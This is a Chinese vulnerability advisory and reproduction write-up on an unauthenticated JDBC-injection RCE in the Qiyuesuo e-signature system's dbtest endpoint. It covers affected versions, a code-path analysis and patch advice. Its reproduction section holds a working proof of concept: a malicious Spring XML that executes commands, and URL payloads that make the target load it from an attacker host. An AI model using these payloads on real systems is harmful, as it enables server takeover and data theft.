QVD-2025-23408:契约锁电子签章系统未授权RCE漏洞

业界 来源:Timeline Sec 2025-07-06 23:57:57

0x01 简介

契约锁是上海亘岩网络科技有限公司打造的电子签约及印章管理平台,联合权威机构提供数字身份、电子签章、印章管控及数据存证服务,助力企业数字化转型。其电子文件具备法律效力,支持多种签署方式,可集成业务系统,满足多行业需求。

0x02 漏洞概述

漏洞编号:QVD-2025-23408这是一个严重的远程代码执行漏洞,该漏洞源于管理控制台存在未授权 JDBC 注入漏洞,攻击者无需身份认证,通过构造恶意数据库连接参数,在 dbtest 接口触发远程代码执行,这可能导致服务器被完全控制、数据泄露或业务系统沦陷。

0x03 利用条件

1)影响版本4.3.8 <= 契约锁 <= 5.3.* && 补丁版本 < 2.1.54.0.* <= 契约锁 <= 4.3.7 && 补丁版本 < 1.3.5

2)所需权限:无

0x04 漏洞复现

访问/setup/dbtest或/api/setup/dbtest

对POSTGRESQL数据库进行利用

新建1.xml文件,内容如下,放至自己的VPS上

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xmlns:p="http://www.springframework.org/schema/p"       xsi:schemaLocation="http://www.springframework.org/schema/beans        http://www.springframework.org/schema/beans/spring-beans.xsd">   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>cmd</value>            <value>/c</value>            <value>calc</value>          </list>        </constructor-arg>    </bean></beans>

执行payload:/setup/dbtest?db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F100.XX.XXX.85:8099%2F1%2Exml

目标主机上弹出计算器

mysql数据库payload:/setup/dbtest?db=MYSQL&host=localhost&port=3306&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fxxx.dnslog.cn%2F1%2Exml

注意:是否存在/api/路径需根据实际情况判断,如存在,payload前需添加/api/

0x05 漏洞分析

com.qiyuesuo.config.ConsoleConfiguration 这个类有定义前台不需要鉴权的接口,其中就包含了此次漏洞的接口 /setup/dbtest

问题的入口点 com.qiyuesuo.setup.SetupController#dbtest 在代码中请求了几个参数 host、port、name、username,接着我们追踪 validateDatabase 方法

在 com.qiyuesuo.setup.SetupService#validateDatabase 方法中调用 dbset 方法建立数据库连接,接着追踪 dbtest 方法

在 com.qiyuesuo.setup.SetupService#dbtest 方法中可以看到,方法从 databaseService 获取数据库连接然后检查连接是否非空且有效等等,然后追踪 databaseService.getConnection 方法直接就是 jdbc 反序列化调用了

0x06 修复方式

1、缓解措施:避免将该系统管理端HTTP服务直接暴露在互联网。2、修复建议:目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。

官方补丁下载地址:https://www.qiyuesuo.com/more/security/servicepack

参考链接

https://mp.weixin.qq.com/s/gmfx97xH4OHtGSJ0UmgOKA https://mp.weixin.qq.com/s/mRu0RCM4hDx0EwEWwwyLcQ https://blog.csdn.net/baidu_25299117/article/details/139990814

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接